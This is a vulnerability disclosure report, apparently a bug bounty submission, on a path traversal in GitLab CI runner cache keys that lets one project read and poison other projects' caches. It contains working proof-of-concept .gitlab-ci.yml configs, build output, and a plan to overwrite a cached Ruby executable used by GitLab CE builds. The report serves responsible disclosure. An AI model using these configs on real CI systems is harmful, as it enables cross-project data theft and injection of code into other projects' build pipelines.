GitLab: GitLab CI runner can read and poison cache of all other projects

The GitLab CI runner allows users to cache files and directories in between runs. These files are stored in a ZIP file and uploaded to a shared cache instance. In my testing, the files were uploaded to runners-cache-4-internal.gitlab.com and runners-cache-3-internal.gitlab.com, even for dedicated runners. It seems odd that dedicated runners use the same shared cache, but perhaps that was an intentional design decision. It could also be a vulnerability. I tried reaching the cache servers from a Docker instance itself, but wasn’t able to (I tried from a reverse shell spawned from a Docker instance). There are multiple vulnerabilities (same root cause though) that can be chained to successfully poison the CI runner cache of another project.

Reading the cache of other projects
Create a new project with a .gitlab-ci.yml file in it. The file should contain the following contents. By default, when a cache file is downloaded, it’ll download the cache from http://runners-cache-4-internal.gitlab.com:444/runner/project/5024150/cache.

.gitlab-ci.yml

a:
  script:
  - ls -lashR
  cache:
    key: ../1/cache
    policy: pull
    paths:
      - .

To read the cache, the attacker needs to know two things: a project ID (auto incremental) and a cache key. By default, the project ID will be prepended to download the cache. But because it’s an HTTP request and there’s no additional checks on the key input, a path traversal vulnerability can be exploited to move up a directory and select the cache from a different project. In this case, when it downloads the cache, it’ll request http://runners-cache-4-internal.gitlab.com:444/runner/gitlab/project/1/cache instead of the project ID of the build.

Build output

Running with gitlab-runner 10.3.0 (5cf5e19a)
  on docker-auto-scale (e11ae361)
Using Docker executor with image ruby:2.1 ...
Using docker image sha256:4eadb9b5cb46f487a71d05717762679404f7f6fdec1ba4fa96304de1db07dfef for predefined container...
Pulling docker image ruby:2.1 ...
Using docker image ruby:2.1 ID=sha256:223d1eaa9523fa64e78f5a92b701c9c11cbc507f0ff62246dbbacdae395ffea3 for build container...
section_start:1514659811:prepare_script
Running on runner-e11ae361-project-4989754-concurrent-0 via runner-e11ae361-srm-1514658950-a15d8859...
section_end:1514659812:prepare_script
section_start:1514659813:get_sources
Cloning repository...
Cloning into '/builds/jobertabma/build-test'...
Checking out e01918e5 as master...
Skipping Git submodules setup
section_end:1514659814:get_sources
section_start:1514659814:restore_cache
Checking cache for ../13083/ruby-235-with-yarn...
Downloading cache.zip from http://runners-cache-5-internal.gitlab.com:444/runner/project/13083/ruby-235-with-yarn 
Successfully extracted cache
section_end:1514659844:restore_cache

The cache key seems to be guessable pretty easily or even unused when no key is specified, since most will correlate with the step they’re executed in. When I started looking at this, I had to specify which paths to download from the cache. This made exploitation more difficult. However, it (conveniently) allowed me to use . as path, extracting all files from the cache into the working directory. Running ls -lashR after that reveals the cache contents in the build output. Files can be read using cat or to store them as build artifacts through the .gitlab-ci.yml.

Writing the cache of other projects
Now that the attacker knows what files are stored in the cache, it can poison the cache with its own file contents. Create another CI YAML file with the following contents:

.gitlab-ci.yml

a:
  script:
  - echo 1 > file-to-poison
  cache:
    key: ../1/cache
    policy: push
    paths:
      - file-to-poison

The attacker has to run a build, which will overwrite the file-to-poison file in the cache for project ID 1. Now, when the targeted project starts another CI run, the poisoned cache files will be downloaded and used in the CI run. For example, an attacker could poison 13083/ruby-235-with-yarn, which would overwrite the Ruby 2.3.5 executable that is being used for GitLab CE CI runs. As you can imagine, someone could enumerate over other projects that use cached executables and overwrite them with their own code.

This has been tested against the latest version of GitLab.

Impact

Depending on the files that are cached, this may allow an attacker to run arbitrary code on a victim’s Docker instance running a CI run. This may expose confidential data, inject artifacts in a build pipeline to ship additional code, among other things.